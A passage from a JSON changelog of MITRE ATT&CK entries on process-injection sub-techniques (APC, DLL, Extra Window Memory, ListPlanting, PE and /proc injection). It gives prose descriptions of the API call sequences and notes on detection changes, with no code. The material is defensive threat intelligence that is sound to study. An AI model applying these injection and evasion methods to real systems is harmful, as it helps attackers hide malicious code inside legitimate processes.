"description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/004",
"external_id": "T1055.004"
},
{
"source_name": "Microsoft APC",
"description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx"
},
{
"source_name": "CyberBit Early Bird Apr 2018",
"description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.",
"url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/"
},
{
"source_name": "ENSIL AtomBombing Oct 2016",
"description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.",
"url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows"
},
{
"source_name": "Microsoft Atom Table",
"description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Access\", \"Process: Process Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.298000+00:00\", \"old_value\": \"2025-04-25 14:47:11.435000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Access)",
"DS0009: Process (Process Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0100: Behavioral Detection of Asynchronous Procedure Call (APC) Injection via Remote Thread Queuing"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-14 01:26:08.145000+00:00",
"modified": "2025-10-24 17:49:36.680000+00:00",
"name": "Dynamic-link Library Injection",
"description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/001",
"external_id": "T1055.001"
},
{
"source_name": "Hiding Malicious Code with Module Stomping",
"description": "Aliz Hammond. (2019, August 15). Hiding Malicious Code with \"Module Stomping\": Part 1. Retrieved July 14, 2022.",
"url": "https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/"
},
{
"source_name": "Elastic HuntingNMemory June 2017",
"description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/hunting-memory"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"source_name": "Module Stomping for Shellcode Injection",
"description": "Red Teaming Experiments. (n.d.). Module Stomping for Shellcode Injection. Retrieved July 14, 2022.",
"url": "https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Boominathan Sundaram"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Metadata\", \"Process: Process Access\", \"Process: Process Modification\", \"Module: Module Load\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.680000+00:00\", \"old_value\": \"2025-04-16 20:37:22.834000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n\\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n-\\n-Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Access)",
"DS0009: Process (Process Metadata)",
"DS0009: Process (Process Modification)",
"DS0011: Module (Module Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0389: Behavioral Detection of DLL Injection via Windows API"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-14 17:18:32.126000+00:00",
"modified": "2025-10-24 17:48:19.059000+00:00",
"name": "Extra Window Memory Injection",
"description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/011",
"external_id": "T1055.011"
},
{
"source_name": "Microsoft Window Classes",
"description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx"
},
{
"source_name": "Microsoft GetWindowLong function",
"description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx"
},
{
"source_name": "Microsoft SetWindowLong function",
"description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"source_name": "MalwareTech Power Loader Aug 2013",
"description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
"url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
},
{
"source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
"description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
"url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
},
{
"source_name": "Microsoft SendNotifyMessage function",
"description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:19.059000+00:00\", \"old_value\": \"2025-04-25 14:45:37.275000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0217: Detection Strategy for Extra Window Memory (EWM) Injection on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-11-22 15:02:15.190000+00:00",
"modified": "2025-10-24 17:49:33.701000+00:00",
"name": "ListPlanting",
"description": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/015",
"external_id": "T1055.015"
},
{
"source_name": "Hexacorn Listplanting",
"description": "Hexacorn. (2019, April 25). Listplanting \u2013 yet another code injection trick. Retrieved August 14, 2024.",
"url": "https://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/"
},
{
"source_name": "ESET InvisiMole June 2020",
"description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
"url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
},
{
"source_name": "Microsoft List View Controls",
"description": "Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022.",
"url": "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview"
},
{
"source_name": "Modexp Windows Process Injection",
"description": "odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021.",
"url": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"ESET"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Modification\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.701000+00:00\", \"old_value\": \"2025-04-15 19:59:18.862000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique. \\n\\nConsider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments.\\n\\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique. \\n-\\n-Consider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments.\\n-\\n-Analyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0331: Detection Strategy for ListPlanting Injection on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-14 01:27:31.344000+00:00",
"modified": "2025-10-24 17:49:01.839000+00:00",
"name": "Portable Executable Injection",
"description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/002",
"external_id": "T1055.002"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Access\", \"Process: OS API Execution\", \"Process: Process Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.839000+00:00\", \"old_value\": \"2025-04-25 14:47:15.984000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Access)",
"DS0009: Process (Process Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0106: Behavioral Detection of PE Injection via Remote Memory Mapping"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-14 01:34:10.588000+00:00",
"modified": "2025-10-24 17:49:25.806000+00:00",
"name": "Proc Memory",
"description": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/009",
"external_id": "T1055.009"
},
{
"source_name": "Uninformed Needle",
"description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
"url": "http://hick.org/code/skape/papers/needle.txt"
},
{
"source_name": "GDS Linux Injection",
"description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020.",
"url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html"
},
{
"source_name": "DD Man",
"description": "Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020.",
"url": "http://man7.org/linux/man-pages/man1/dd.1.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.806000+00:00\", \"old_value\": \"2025-04-25 14:48:08.263000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0541: Detection Strategy for /proc Memory Injection on Linux"
],
"dropped": []
}
},
{
"type": "attack-pattern",
